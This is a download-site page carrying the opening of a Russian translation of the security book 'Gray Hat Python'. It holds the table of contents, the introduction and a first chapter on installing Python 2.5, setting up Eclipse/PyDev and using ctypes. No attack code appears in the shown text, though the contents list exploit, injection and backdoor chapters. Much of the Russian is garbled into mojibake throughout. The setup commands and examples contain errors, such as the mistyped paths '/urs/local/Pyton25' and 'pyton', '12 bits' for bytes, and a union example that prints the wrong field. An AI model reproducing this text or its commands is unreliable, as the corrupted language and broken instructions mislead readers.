Gray Hat Python

До загрузки: 30 сек.



Благодарим, что скачиваете у нас :)

Если, что - то:

  • Поделится ссылкой:
  • Документ найден в свободном доступе.
  • Загрузка документа - бесплатна.
  • Если нарушены ваши права, свяжитесь с нами.
Формат: pdf
Найдено: 01.09.2020
Добавлено: 30.09.2020
Размер: 1.85 Мб

GRAY HAT PYTHON







Аlhj:

Justin Seitz

Переh^ :

forum.reverse4you.org
M. Chumichev






Russian Underground

2012

ОГЛАВЛЕНИЕ


ГлаZ 1 – Настройка рабочего окружения
ГлаZ 2 – Отладчики и устройстh отладчика
ГлаZ 3 – Создание отладчика под Windows
ГлаZ 4 – PyDbg: Windows отладчик на чистом Python
ГлаZ 5 – Immunity Debugger
ГлаZ 6 – Hooking
ГлаZ 7 – DLL и Code Injection
ГлаZ 8 – Fuzzing
ГлаZ 9 – Sulley
ГлаZ 10 – Фаззинг драй_jh\ Windows
ГлаZ 11 – IDAPython
ГлаZ 12 – PyEmu

СОДЕРЖАНИЕ


ВВЕДЕНИЕ ........................................................................
..................................... 8
ГЛАВА 1: Настройка рабочего окружения .................................................... 10
1.1. ТребоZgby к системе ........................................................................
......... 10
1.2 Получение и установка Python 2.5 ............................................................. 11
1.2.1 УстаноdZ Python в Windows ............................................................... 11
1.2.2 УстаноdZ Python в Linux ..................................................................... 11
1.3. Настройка среды Eclipse и PyDev ............................................................. 13
1.3.1. Лучшие друзья Хакера: ctypes ............................................................. 15
1.3.2 ИспользоZgb_ динамических библиотек........................................... 15
1.3.3 КонструироZgb_ типов данных C..................................................... 18
1.3.4 Передача параметров по ссылке ......................................................... 19
1.3.5 Определение структур и объединений ............................................... 19
ГЛАВА 2: Отладчики и устройство отладчика ............................................ 23
2.1. Регистры общего назначения центрального процессора ........................
24
2.2 Стек ........................................................................
....................................... 26
2.3 События отладчика ........................................................................
.............. 28
2.4 Точки останоZ ........................................................................
..................... 29
2.4.2 Аппаратные точки останоZ .............................................................. 32
2.4.3. Точки останоZ памяти ...................................................................... 35
ГЛАВА 3: Создание отладчика под Windows ................................................ 37
3.1 Debuggee, Wher e Art Thou? ........................................................................
. 37
3.2 Получение состояния регистров процессора ............................................ 45
3.2.1 Перечисление потоков ........................................................................
.. 45
3.2.2 Собираем k_ f_kl_ ........................................................................
.... 47
3.3 Реализация отладочных обработчиков событий ...................................... 50
3.4 Всемогущий брейкпойнт........................................................................
..... 54
3.4.1 Программные брейкпойнты ................................................................. 54
3.4.2 Аппаратные брейкпойнты ................................................................... 59
3.4.3 Брейкпоинты на память ...................................................................... 63
3.5 Заключение ........................................................................
........................... 66
3.6 Ссылки ........................................................................
..................................
67
ГЛАВА 4: PyDbg – Windows отладчик на чистом Python .......................... 69
4.1 Расширение брейкойнт- обработчиков ....................................................... 69
4.2 Обработчики событий "access vi olation" ................................................... 72
4.3 Снапшоты ........................................................................
............................. 75
4.3.1 Создание снапшотов ........................................................................
.... 75
4.3.2 Собираем k_ f_kl_ ........................................................................
.... 78
4.4 Ссылки ........................................................................
.................................. 81
ГЛАВА 5: Immunity Debugger ........................................................................
... 82
5.1 УстаноdZ Immunity Debugger.................................................................... 82
5.2 Immunity Debugger 101 ........................................................................
........ 82
5.2.1 PyCommands ........................................................................
................... 83

5.2.2 PyHooks........................................................................
........................... 84
5.3 Разработка эксплойта ........................................................................
.......... 86
5.3.1 Поиск дружественных эксплойту инструкций ................................. 86
5.3.2 Фильтрация плохих симheh\ .............................................................. 88
5.3.3 Обход DEP ........................................................................
...................... 91
5.4 Обход анти -отладочных методов............................................................... 96
5.4.1 IsDebuggerPresent ........................................................................
.......... 96
5.4.2 Обход перебора процессов .................................................................... 97
5.5 Ссылки ........................................................................
.................................. 98
ГЛАВА 6: Hooking ........................................................................
....................... 99
6.1 Программные перехZlu с помощью PyDbg ............................................ 99
6.2 Жесткие перехZlu с помощью Immunity Debugger.............................. 104
6.3 Ссылки ........................................................................
................................ 111
ГЛАВА 7: DLL и Code Injection ...................................................................... 112
7.1 Создание удаленных потоков ................................................................... 112
7.1.1 Внедрение DLL ........................................................................
............. 113
7.1.2 Code Injection ........................................................................
............... 116
7.2 На стороне зла ........................................................................
.................... 119
7.2.1 Скрытие файла ........................................................................
...........
119
7.2.2 Кодим Backdoor ........................................................................
........... 121
7.2.3 ИспользоZgb_ py2exe........................................................................
.. 124
7.3 Ссылки ........................................................................
............................... 127
ГЛАВА 8: Fuzzing ........................................................................
...................... 128
8.1 Bug Cl asses ........................................................................
.......................... 128
8.1.1 Buffer Overflows ........................................................................
............ 129
8.1.2 Integer Overflows ........................................................................
.......... 131
8.1.3 Format String Attacks ........................................................................
... 132
8.2 File Fuzzer ........................................................................
........................... 133
8.3 Соображения ........................................................................
...................... 140
8.3.1 Code Coverage ........................................................................
.............. 140
8.3.2 Automated Static Analysis ..................................................................... 141
8.4 Ссылки ........................................................................
................................ 141
ГЛАВА 9: Sulley ........................................................................
......................... 143
9.1 УстаноdZ ........................................................................
............................ 143
9.2 Примитиu ........................................................................
......................... 144
9.2.1 Strings ........................................................................
............................ 145
9.2.2 Delimiters ........................................................................
...................... 145
9.2.3 Примитиu Static и Random ............................................................... 146
9.2.4 Binary Data ........................................................................
................... 146
9.2.5 Integers ........................................................................
.......................... 147
9.2.6 Blocks и Groups ........................................................................
............ 148
9.3 Уничтожение WarFTPD с помощью Sulley ............................................ 149
9.3.1 FTP 101 ........................................................................
......................... 150
9.3.2 Создание скелета FTP-протокола .................................................... 151
9.3.3 Sulley Sessions ........................................................................
............... 152

9.3.4 Network и Process Monitoring ............................................................. 153
9.3.5 Фаззинг и _[- интерфейс Sulley........................................................ 155
9.4 Ссылки ........................................................................
................................ 158
ГЛАВА 10: Фаззинг драй_jh\ Windows ..................................................... 159
10.1 Взаимодействие с драй_jhf ................................................................. 160
10.2 Фаззинг драй_jZ с помощью Immunity Debugger............................... 161
10.3 Driverlib— Инструмент статического анализа для драй_jh\ ............ 164
10.3.1 Обнаружение имен устройств ........................................................ 165
10.3.2 Поиск процедуры обработки IOCTL-кодов (IOCTL Dispatch
Routine) ........................................................................
.................................. 166
10.3.3 Определение поддержиZ_fuo IOCTL-кодов................................. 168
10.4 Создание драй_j -фаззера ...................................................................... 170
10.5 Ссылки ........................................................................
.............................. 174
ГЛАВА 11: IDAPython ........................................................................
.............. 175
11.1 УстаноdZ IDAPython ........................................................................
...... 175
11.2 Функции IDAPyt hon ........................................................................
........ 176
11.2.1 Полезные функции ........................................................................
.....
177
11.2.2 Сегменты ........................................................................
................... 177
11.2.3 Функции ........................................................................
...................... 178
11.2.4 Перекрестные ссылки ....................................................................... 178
11.2.5 Debugger Hooks ........................................................................
.......... 179
11.3 Example Scripts ........................................................................
................. 180
11.3.1 Поиск перекрестных ссылок на опасные функции ........................ 180
11.3.2 Function Code Coverage .................................................................... 182
11.3.3 Вычисление размера стека............................................................... 183
11.4 Ссылки ........................................................................
.............................. 185
ГЛАВА 12: PyEmu ........................................................................
..................... 186
12.1 УстаноdZ PyEmu ........................................................................
............. 186
12.2 Обзор PyEmu ........................................................................
.................... 187
12.2.1 PyCPU ........................................................................
......................... 187
12.2.2 PyMemory ........................................................................
................... 187
12.2.3 PyEmu ........................................................................
......................... 188
12.2.4 Execution ........................................................................
..................... 188
12.2.5 Memory and Register Modifiers .......................................................... 188
12.2.6 Handlers ........................................................................
...................... 189
12.2.6.1 Register Handlers ........................................................................
. 190
12.2.6.2 Library Handlers ........................................................................
.. 190
12.2.6.3 Exception Handlers ....................................................................... 191
12.2.6.4 Instruction Handlers ..................................................................... 191
12.2.6.5 Opcode Handlers ........................................................................
.. 192
12.2.6.6 Memory Handlers ........................................................................
. 192
12.2.6.7 High-Level Memory Handlers ...................................................... 193
12.2.6.8 Program Counter Handler ........................................................... 194
12.3 IDAP yEmu........................................................................
......................... 195
12.3.1 Function Emulation ........................................................................
..... 196

12.3.2 PEPyEmu........................................................................
..................... 200
12.3.3 Executable Packers ........................................................................
..... 200
12.3.4 UPX Packer ........................................................................
................. 201
12.3.5 Unpacking UPX with PEPyEmu ......................................................... 202
12.4 Ссылки ........................................................................
.............................. 207

ВВЕДЕНИЕ


Я изучил Python конкретно для хакинга – и я осмелюсь сказать, что это
ут_j`^_gb_ пра^bо для многих других так же . Я про_e достаточно много
j_f_gb в изучении языка , который хорошо приспособлен для хакинга и
ре_jk инженерии, и несколько лет назад стало _kvfZ очеb^gh , что Python
станоblky настоящим лидером среди языков ориентироZgguo на хакинг .
Однако хитрость была в то
м, что не было стоящего рукоh^klа по теме , как
использоZlv Python для различных задач хакинга . Вам приходится копаться
в форумах и мануалах , и обычно проh^blv достаточно много j_f_gb
j_f_gb пошагоh просматриZlv код , чтобы застаblv его работать
праbevgh . Эта книга нацелена на заполнение этого разрыZ путем
предостаe_gby Zf беглого курса как использоZlv Python для хакинга и
ре_jk -инженерии различными способами.

Книга состав

лена так, что позhebl Zf изучить некоторые теоретические
осноu большинстZ средств и техник хакинга , dexqZxsbo дебаггеры ,
бэкдоры, фаззеры, эмуляторы, и инъекции кода, обеспечиZy Zf некоторое
предстаe_gb_ о том , как готоu_ инструменты Python могут быть
использоZgu , когда не требуются обычные решения . Вы изучите не только
как ис

пользовать инструменты , осноZggu_ на Python, но и как создаZlv
инструменты на языке Python. Но предупреждаем , это не исчерпыZxs__
рукоh^klо ! Сущестm_l много -много инструментов для информационной
безопасности, написанных на Python, которые я не рассматриZe . Однако , эта
книга позhebl Zf осhblv много подобных наudh\ по применению
приложений , которые u сможете использовать , отлажиZlv , расширять , и
настраив

ать любое Python- приложение по Zr_fm u[hjm.

Есть несколько способов изучения этой книги . Если u ноbqhd в Python или
в разработке инструментов для хакинга , то Zf стоит читать книгу от начала
до конца по порядку . Вы изучите немного необходимой теории,
запрограммируете кучу кода на Python, и получите тzj^u_ знания о том , ка
к
решить множестh задач хакинга и ре_jkbg]Z по прочтению книги . Если u
уже знакомы с Python и хорошо понимаете библиотеку ctypes Python, то
переходите сразу к Гла_ 2. Для тех из Zk , кто "в теме ", iheg_ достаточно
переходить к нужным разделам книги и использоZlv фрагменты кода или
определенные разделы , как Zf надо в Zrbo по
k_^g_ных задачах.

Я потратил много j_f_gb на отладчики , начиная с теории отладки в Гла_ 2,
и продолжая прямо до Immunity Debugger ( модификация OllyDbg прим.) в
Гла_ 5. Отладчики это Z`gu_ инструменты для любого хакера, и я не
стесняюсь рассказыZlv Zf о них достаточно подробно . Дb]Zykv дальше ,
u узнаете некоторые техники перехZlZ (hooking) и инъекций в ГлаZo 6 и 7,

которые u можете добаblv в некоторые концепции отладки управления
программой и манипулироZgby памятью .
Следующий раздел книги нацелен на aehf приложений используя фаззеры
(fuzzers). В Гла_ 8 u начнете изучать фаззинг (fuzzing), и создадите сhc
простейший файлоuc фаззер. В Главе 9 мы будем использоZlv мощный
Sulley fuzzing framework чтобы сломать настоящий FTP- демон, и в Гла_ 10
u узнаете как созд
ать фаззер для aehfZ драй_jh\ Windows.

В Гла_ 11, u уb^bl_ , как аlhfZlbabjhать статические задачи аналитики
в IDA Pro, популярного средстZ для бинарного статического анализа . Мы
за_jrbf книгу темой PyEmu, осноZggh]h на Python эмулятора
компьютера , в Главе 12.

Я постарался предстаblv исходные коды несколько меньше , с детальными
пояснениями о том , как работает код , klZленный в определенных точках.
Часть j

емени при изучении нового языка , или изготоe_gbb ноuo
библиотек , проh^blky в необходимом усердном переписыZgbb кода и
отладки со_jr_gguo Zfb ошибок . Я поощряю Zr ручной од кода . Все
исходные коды к Zr_fm удоhevklию предстаe_gu на официальном сайте
книги .

Ну а теперь приступим к программироZgbx !

ГЛАВА 1
Настройка рабочего окружения


Прежде чем u начнете со_jr_gklоZlvky в искусст_ программироZgby в
Серой Шляпе на языке Python, Zf следует пройти самую неинтересную
часть этой книги - настройки Zr_c будущей рабочей среды разработки .
Весьма Z`gh, чтобы u имели хорошую и удобную среду разработки ,
которая позhebl Zf про_klb j_fy в поглощении крайне интересной
информации в данной книге, а не спо
тыкаться и набиZlv шишки , пытаясь
застаblv Zr код uihegylvky .

Эта глаZ быстро покрыZ_l тему устаноdb и настройки Python 2.5 ( на
момент переh^Z _jkby Python уже 2.6, как будет работать с 3 _jkb_c без
понятия , но kz раgh для k_o примеров в книге будет использоZlvky
Python именно _jkbb 2.5. прим . пер .), конфигурироZgby Zr_]h рабочего
окружения Eclipse, и осноu написания Си -сов
местимого кода на Python. Как
только u настроите окружение и поймете осноu , мир будет для Zk
устрицей , а эта книга покажет Zf , как её открыть .


1.1. ТребоZgby к системе

Я предполагаю , что u используете 32-битную ОС , осноZggmx на базе
Windows (XP, Vista, 7). Windows имеет широкий спектр инструментов и
хорошо поддается для программироZgby на Python. Все глаu этой книги
ориентироZggu в перmx очередь на Windows, и большинстh примеров
будут работать только с ОС Windows.

Однако , будет несколько примеров , которые u можете за

пустить на
дистрибути_ Linux. Для разработки под Linux я рекомендую Zf скачать 32-
битный дистрибутив Linux'a как VMware устройстZ. ПроигрыZl_ev
VMware устройств бесплатен , и позhey_l Zf быстро перемещать файлы с
Zr_c рабоч
ей системы на bjlmZevgmx Linux машину . Если у Zk заZeyeky
лишний компьютер , можете попробоZlv сhb силы и устаноblv
полноценную Linux систему . Для целей книги использоZeky осноZgguc на
Red Hat Linux дистрибутив, jh^_ Fedora Core 7 или Centos 5. Конечно , в
качест_ альтернатиu , u можете запустить Linux и сэмулироZlv на нём
Windows. Это дело Zr_]h dmkZ.

БЕСПЛАТНЫЕ ОБРАЗЫ ДЛЯ VMWARE

На сайте VMware есть каталог бесплатных устройств. Эти
устройстZ позheyxl обратному разработчику (ре_jk инженеру )
или исследоZl_ex уязbfhkl_c разместить j_^hghkgmx программу
(malware) или приложения на bjlmZevghc машине , сокращая к
минимуму риски для физической инфраструктуры и предостаeyxl
изолироZgguc "черноbd " для работы . Вы можете посетить
страницу bjlmZevguo устройств по адресу и скачать плеер по
адресу .


1.2 Получение и устаноdZ Python 2.

5

Среда Python устанаebается быстро и безболезненно как на Linux так и на
Windows. Пользователям Windows облегчит жизнь устаноsbd , который
позаботится обо k_o настройках , однако на Linux u будете собирать и
устанаebать Python из исходных кодов (Однако на очень многих
дистрибутиZo Linux Python 2.5 устаноe_g "из коробки ").

1.2.1 УстаноdZ Python в Windows

Пользователи Windows могут получить устаноsbd с официального сайта
Python . Только дZ`^u щелкните мышкой по файлу устаноsbdZ и следуйте
далее шаг за шагом по этапам устаноdb . Устаноsbd создаст каталог
'C:\Python25\' . В этом каталоге будут устаноe_gu файл python.exe -
интерпретатор команд Python, а так же k_ стандартные библиотеки.

ПРИМЕЧАНИЕ : Вместо этого u можете устаноblv отладчик Immunity
Debugger, который содержит не только сам отладчик , но и устаноsbd
Python 2.5. В последних глаZo книги u будете использоZlv Immunity
Debugger для многих задач , поэ

тому u можете "убить дmo зайцев " одной
устаноdhc. Чтобы скачать и устаноblv Immunity Debugger, посетите
http://debugger.immunityinc.com


1.2.2 УстаноdZ Python в Linux

Для устаноdb Python 2.5 в ОС Linux, Zf следует скачать и скомпилироZlv
исходные коды . Это дает Zf полный контроль над настройками в процессе
устаноdb Python в ОС на базе Red Hat. Процесс устаноdb подразумевает ,
что u будете uihegylv k_ следующие команды от имени пользоZl_ey

root(суперпользоZl_ey).

Перuf шагом будет загрузка и распакоdZ исходного кода Python 2.5. В
командном терминале (консоли) одите следующее :

# cd /usr/local
# wget http://python.org/ftp/pyton/2.5.1/Python-2.5.1.tgz
# tar -zxvf Python-2.5.1.tgz
# mv Python-2.5.1 Python25
# cd Python25

Вы только что скачали и распаковали исходный код в '/usr/local/Python25' .
Следующим шагом будет компиляция исходного кода и про_jdb
работоспособности интерпретатора Python:

# ./configure --prefix=/usr/local/Python25
# make && make install
# pwd
/usr/local/Python25
#python
Python 2.5.1 (r251:54863, Mar 14 2012, 07:39:18)
[GCC 3.4.6 20060404 (Red Hat 3.4.6-8)] on Linux2
Type "help", "copyright", "credits" or "license" for more
information.
>>>

Теперь u находитесь в интерактиghc оболочке Python, которая
предостаey_l Zf полный доступ к интерпретатору Python и любой
kljh_gghc библиотеке . Быстрая про_jdZ покажет, что команды
интерпретируются _jgh :

>>> print "Hello World!"
Hello World!
>>> exit()
#

Отлично ! Все работает , как Zf надо. Чтобы застрахоZlvky , что Zr_
пользоZl_evkdh_ окружение находит , где находится интерпретатор Pyton,
аlhfZlbq_kdb , Zf следует изменить файл '/root/.bashrc' . Лично я использую
текстоuc редактор nano для k_o моих работ с текстом , но u hevgu
u[jZlv любой текстоuc редактор, с которым Zf комфортно работать .
Откройте файл '/root/.bashrc'
и в конце файла добаvl_ следующую строку :


export PATH=/urs/local/Pyton25/:$PATH

Эта строка укажет окружению Linux что пользоZl_ev root может иметь
доступ к интерпретатору Python без указания полного пути к нему . Если u
закончите сессию root и затем hc^_l_ под root сноZ , когда u едете
python в любом месте в командной строке, u незамедлительно окажетесь в
интерпретаторе Python.

ПРИМЕЧАНИЕ : В Windows можно сделать то же самое . Для этого нужно
щелкнуть праhc кнопкой мыши на "Мой компьютер " ->

" Сhcklа " ->
" Дополнительно " -> "Переменные среды" -> Выбрать переменную "Path" ->
" Изменить " -> В строке "Значение переменной " в конце дописать
;C:\Python25. Далее про_jy_f в командной строке . Вh^bf python и
смотрим , запустился ли интерпретатор , как в случае с Linux или нет.

И так , теперь у Zk полностью рабочие интерпретаторы Python как в Windows
так и в Linux. Наст

ало j_fy настроить Zrm интегрироZggmx среду
разработки (IDE). Если у Zk есть IDE в которой Zf комфортно работать , то
можете пропустить следующий раздел.


1.3. Настройка среды Eclipse и PyDev

Как праbeh для быстрой разработки и отладки Python приложений,
абсолютно необходимо использоZlv полноценную IDE. Взаимодейстb_
популярной среды разработки Eclipse и модуля PyDev к нему дает Zf в руки
огромное число мо

щных hafh`ghkl_c , которые не предлагают большинстh
других средств разработки . Кроме того, Eclipse запускается одинакоh в
Windows, Linux, и Mac, а так же имеет отличную группу поддержки и
разработки . ДаZcl_ быстро пройдем k_ этапы как устаноblv и настроить
Eclipse и PyDev:
1. СкачиZ_l_ архив Eclipse Classic для Zr_c платформы с сайта
.
2. Распакоuаете его в "C:\Eclipse" .
3. Запускаете C:\Eclipse\eclipse.exe .
4. При перhf запуске Eclipse спросит Zk где хранить Zr_ рабочее
место , u можете принять предлагаемое место по умолчанию , и
постаblv галочку в графу "Use this as defaul t and do not ask again" .
Щелкните на OK .
5. Как только Eclipse запустится u[_jbl_ "Help => Install new
Software... "
6. Переходите к полю Work with :.
7. Кликните на кнопку Add ...
8. В поле Name едите описыZxsmx строку , jh^_ PyDev Update .
Убедитесь , что поле URL содержит http://pydev.org/updates
и щёлкните
OK. Затем щелкните Finish, и Zk u[jhkbl в устаноsbd обноe_gbc
Eclipse.

9. Диалог обноe_gbc пояblky через несколько мгно_gbc . Когда он
пояblky , u[_jbl_ PyDev и нажмите Next для продолжения .
10. Затем прочитайте и примите лицензионное соглашение для PyDev .
Если u согласны с ним , то u[_jbl_ "I accept the terms in the license
agreement" .
11. Щелкните Next и наконец Finish. Вы уb^bl_ , как Eclipse устаноbl
PyDev дополнение .
12. В конце кликните Yes в диалогоhf меню , которое пояblky после
устаноdb PyDev . Это перезагрузит Eclipse, и запустит его с Zr

им
но_gvdbf PyDev .

На следующей стадии конфигурирования Eclipse u убедитесь , что PyDev
может найти праbevguc интерпретатор Python для последующего
использоZgby , когда u будете запускать скрипты в PyDev:

 Когда запустится Eclipse , u[_jbl_ "Window => Preferences ";
 Раз_jgbl_ _lь PyDev , и u[_jbl_ Interpreter - Python ;
 Нажмите кнопку New...;
 Укажите путь в Browse : "C:\Python25\python.exe" и кликните Open ;
 Следующее диалогоh_ окно покажет Zf список dexq_gguo
библиотек для интерпретатора . Остаvl_ k_ как есть и кликните OK;
 Затем кликните OK еще раз , чтобы закончить настройку
интерпретатора .

Теперь у Zk есть устаноe_gguc и работоспособный PyDev, настроенный
для использоZgby с_`_mklZghленного интерпретатора Python 2.5. Прежде
чем начнете программироZlv , Zf следует создать ноuc PyDev проект.
Этот проект будет содержать k_ исходные файлы , данные далее в этой
книге . Чтобы настроить ноuc проект, следуйте следующим образом :

 Выберите "File => New => Project";
 Раз_jgbl_ _ldm PyDev , и u[_jbl_ PyDev Project . Кликните Next для
продолжения ;
 Назоbl_ "Gray Hat Python". Щёлкните Finish.

Вы заметите , что экран Eclipse перегруппирует себя , и u уb^bl_ проект
Gray Hat Python проект в на_jom слеZ. Теперь щелкните праhc кнопкой
мыши папу src и выберите "New => PyDev Module ". В графе Name едите
chapter1-test, и кликните на Finish. Вы уb^bl_ , что панель Zr_]h проекта
обноblky , и в этот список будет добаe_g файл chapter1-test.py .

Чтобы запустить скрипт Pyt

hon в среде Eclipse, только кликните кнопку Run
As (зеленый кружок с белой стрелкой gmljb ) на панели инструментов .
Чтобы заноh запустить последний запущенный скрипт нажмите Ctrl+F11 .
Когда u запустите скрипт в Eclipse, f_klh командной строки Windows, u

уb^bl_ панель gbam среды Eclipse, обозначенной , как Console . Весь uод
Zrbo скриптов будет отображаться на панели Console. Вы так же можете
обратить gbfZgb_ , что текстоuc редактор уже открыл chapter1-test.py и
уже ожидает немного сладкого нектара Python.

1.3.1. Лучшие друзья Хакера: ctypes

Модуль ctypes для Python яey_lky безуслоgh одной из самых мощных
библиотек , доступных разработчику на Python. Библиотека ctypes позhey_l
Zf uau

Zlv функции в динамически подключаемых библиотеках (dll) и
имеет богатые hafh`ghklb для создания комплексных типов данных языка
Си и полезных функций для низкоуроg_ой работы с памятью . Это
необходимо для того, чтобы u понимали осноu того , как использоZlv
библиотеку ctypes, так как u будете полагаться на эту библиотеку в
значительной степени на протяжении в
сей книги .

1.3.2 ИспользоZgb_ динамических библиотек

Перuc шаг на пути использоZgby ctypes это понимание , как запускать и
получать доступ к функциям в динамически подключаемых библиотеках .
Динамически подключаемая библиотека (dynamically linked library) - это
скомпилироZgguc бинарный файл , который подключаются к основному
процессу h j_fy его uiheg_gby по мере надобности . На платформе
Windows эти бинарные файлы назыZxlky динамически подключаемые
библиотеки , а на платформе Linux - разделяемые объекты (

eng. shared
objects(SO)). В обоих случаях эти бинарные файлы предостаeyxl функции
через экспортироZggu_ имена , какие получают hafh`ghklv запуска по
реальным адресам в памяти. Обычно h j_fy uiheg_gby Zf приходится
решать, какой будет порядок адресов функций для uahа этих функций ,
однако с ctypes ky эта грязная работа уж
е сделана.

Есть три различных способа загрузки dll в ctypes: cdll() , windll(), и oledll().
Разница между ними в том , каким образом uauаются функции этих
библиотек , и какие они haращают значения . Метод cdll() используется для
запуска библиотек , которые экспортируют функции , используя стандартное
соглашение uahа cdecl . Метод windll() загружает библиотеки , которые
экспортируют функции , используя соглашен
ие uahа stdcall, которое
яey_lky родным соглашением в Microsoft Win32 API . Ну а метод oledll()
работает так же , как windll(), однако, он предполагает , что экспортироZggZy
функция haращает Windows код ошибки HRESULT , который используется
специально для сообщений об ошибках , haращаемых функциями
Объектной Модели Компонентов (MS Component Object Model, COM).

В качест_ небольшого примера, u havf_l_ функцию printf() из
библиотеки j_f_gb исполнения язык
а C (С runtime) в Windows и Linux, и

используете её для uода в тестоhf сообщении. В Windows C runtime
находится в msvcrt.dll , находящемся в папке 'C:\WINDOWS\System32\' , а в
Linux это libc.so.6 , которая по умолчанию находится в '/lib/' . Создайте
следующий скрипт Python или в Eclipse, или в Zr_c обычной рабочей
директории Python, и едите следующий код:

# chapter1-printf.py: Код для Windows
from ctypes import *

msvcrt = cdll.msvcrt
message_string = "Hello world!\n"
msvcrt.printf("Testing: %s", message_string
)

Этот скрипт uодит следующее :

C:\Python25\python chapter1-printf.py
Testing: Hello world!
C:\Python25>

Под Linux этот пример будет немного отличаться , но делать будет то же
самое . Перейдите в Linux и создайте chapter1-printf.py в Zr_c директории
'/root/'.

ПОНИМАНИЕ СОГЛАШЕНИЯ О ВЫЗОВАХ

Соглашение uahов описыZ_l, как праbevgh uauать
определенную функцию . Оно dexqZ_l в себя порядок того, как
u^_eyxlky параметры функции , какие параметры функции
помещаются в стек или переходят в регистры, и как раскручиZ_lky
стек при haращении функцией значения. Вам надо научиться
понимать дZ соглашения uahов : cdecl и stdcall. В соглашении
cdecl пар
аметры помещаются в стек спраZ налево , и uauающий
функцию от_lklенен за очистку стека от аргументов . Это
соглашение используется в большинст_ C-систем на архитектуре
x86.

Вот пример uahа функции с помощью cdecl:

На языке C:

int python_rocks(reason_one, reason_two, reason_tree);

На ассемблере x86:

push reason_tree
push reason_two
push reason_one
call python_rocks
add esp, 12

Вы можете ясно уb^_lv , как передаются аргументы функции .
Последняя линия u^_ey_l (у_ebqb\Z_l ) стеку 12 байт (у функции 3
параметра , и каждый параметр стека занимает 4 байта, поэтому в
сумме дает 12 бит ), которых как раз хZlZ_l для этих параметров .

Пример соглашения stdcall, которые используются в Win32 API
демонстрируется тут :

На языке C:

int my_socks(color_one, color_two, color_tree);

На языке ассемблера x86:

push color_tree
push color_two
push color_one
call my_socks

В данном случае u b^bl_ , что порядок параметров такой же, но
очистка стека не проh^blky uauающим функцию, а функцией
перед haращением ей полученных значений.

Для обеих соглашений Z`gh запомнить , что haращенные
значения функции хранятся в регистре EAX.

# chapter1-printf.py: пример для Linux
from ctypes import *

libc = CDLL("libc.so.6")
message_string = "Hello world!\n"
libc.printf("Testing: %s", message_string)

Данный скрипт в Linux будет uодить следующее :

# python /root/chapter1-printf.py
Testing: Hello world!
#

Это легко уметь uauать функции в динамической библиотеке и
использоZlv функции , которые она экспортирует. Вы будете использоZlv
эту технику много раз на протяжении k_c книги, поэтому очень Z`gh ,
чтобы поняли , как это работает .

1.3.3 КонструироZgb_ типов данных C

Создание типа данных языка C в Python - это слоgh откро_ggZy
сексуальность в этом гикоkdhf , странном способе (Дослоgh : Creating a C
datatype in Python is just downright sexy, in that nerdy, weird way. кт

о
предложит переh^ лучше , будет молодцом ). Наличие этих особенностей
позhey_l Zf полностью использоZlv компоненты , написанные на C и C++,
которые значительно у_ebqbают мощь языка Python. Кратко просмотрите
таблицу 1-1, для понимания того , как aZbfhkязаны типы данных C и Python
и результирующий тип ctypes.


Рисунок 1. Python to C Datatype Mapping

Видите , как хорошо типы данных кон_jlbjmxlky туда и обратно ?
Используйте эту таблицу для удобстZ , в случае , если u забудете
преобразоZgb_ типов . Типы из ctypes могут быть инициализироZgu со

значением, но оно должно быть надлежащего типа и размера . Для
демонстрации , откройте Zrm оболочку Python и едите несколько
следующих примеров :

C:\Python25>python.exe
Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more
information.
>>> from ctypes import *
>>> c_int()
c_long(0)
>>> c_char_p("Hello, world!")
c_char_p('Hello, world!')
>>> c_ushort(-5)
c_ushort(65531)
>>>
>>> seitz = c_char_p("loves the python")
>>> print seitz
c_char_p('loves the python')
>>> print seitz.value
loves the python
>>> exit()

Последний пример описыZ_l Zf как переменной seitz присZbается
указатель на строку "loves the python". Для доступа к содержимому
указателя используется метод seitz.value , который называется
разыменоuанием указателя .

1.3.4 Передача параметров по ссылке

Очень часто в C и C++ есть функции , которые ожидают указатель , как один
из параметров . Причина в том , что функция может как записыZlv в этот
участок па

мяти , или , если при передаче по значению параметр слишком
_ebd . В любом случае , ctypes обладает функционалом чтобы сделать именно
это , используя функцию byref(). Когда функция ожидает указатель, в
качест_ параметра , u uauаете её так : fuction_main( byref (parametr) ) .

1.3.5 Определение структур и объединений

Структуры и объединения - Z`gu_ типы данных , которые часто
использу

ются как Win32 API, так и с libc в Linux. Структура - это простая
группа переменных , которые могут быть одного или разных типов данных .
Вы можете получить доступ к любой содержащейся в структуре переменной ,
используя точечную нотацию (dot notation), например такую :
beer_recipe.amt_barley . Это даст доступ к переменной amt_barley ,
находящейся в структуре beer_recipe . Следующий пример определит

структуру (или struct как их обычно назыZxl для упрощения ) как в C так и в
Python.

Код на C:

structure beer_recipe
{
int amt_barley;
int amt_water;
};

Код на Python:

class beer_recipe(Structure):
_fields_ = [
("amt_barley",c_int),
("amt_water",c_int),
]

Как b^bl_ , ctypes делает очень легким создание C-соf_klbfhc структуры.
Замечу , что это не полный рецепт пиZ, и я не со_lmx Zf пить смесь
ячменя и h^u.

Объединения , это почти тоже самое , что и структуры. Однако в объединении
k_ участmxsb_ переменные находятся по одному адресу в памяти .
Следующий пример демонстрирует объединение , которое позhey_l Zf
отобразит

ь число тремя разными способами.

Код на C:

union {
long barley_long;
int barley_int;
char barley_char[8];
}barley_amount;

Код на Python:

class barley_amount(Union):
_fields_=[
("barley_long", c_long),
("barley_int", c_int),
("barley_char", c_char * 8),
]

Если u присhbl_ переменной barley_int из объединения barley_amount
значение 66, то затем u сможете использовать переменную barley_char для
отображения симheZ предстаeyxs_]h это число . Для демонстрации
создадим ноuc файл chapter1-unions.py и h[t_f следующий код .

# chapter1-unions.py
from ctypes import *

class barley_amount(Union):
_fields_=[
("barley_long", c_long),
("barley_int", c_int),
("barley_char", c_char * 8),
]

value = raw_input("Enter the amount of barley to put into the
beer vat:")
my_barley = barley_amount(int(value))
print "Barley amount as a long: %ld" % my_barley.barley_long
print "Barley amount as an int: %d" % my_barley.barley_long
print "Barley amount as a char: %s" % my_barley.barley_char

Выh^ будет следующим :

C:\Python25> python chapter1-unions.py
Enter the amount of barley to put into the beer vat:66
Barley amount as a long: 66
Barley amount as an int: 66
Barley amount as a char: B

C:\Python25>

Как b^bl_ , присhb\ объединению одно значение , u можете получить три
разных представления этого значения . Если Zk смущает uод значения
переменной barley_char , а именно букZ 'B' , то это лишь экbалент ASCII
( американский стандарт кодироdb ) десятичного 66.

Переменная barley_char из этого объединения - отличный пример того, как
определять массив в ctypes. В ctypes массив определяется путем у
множения
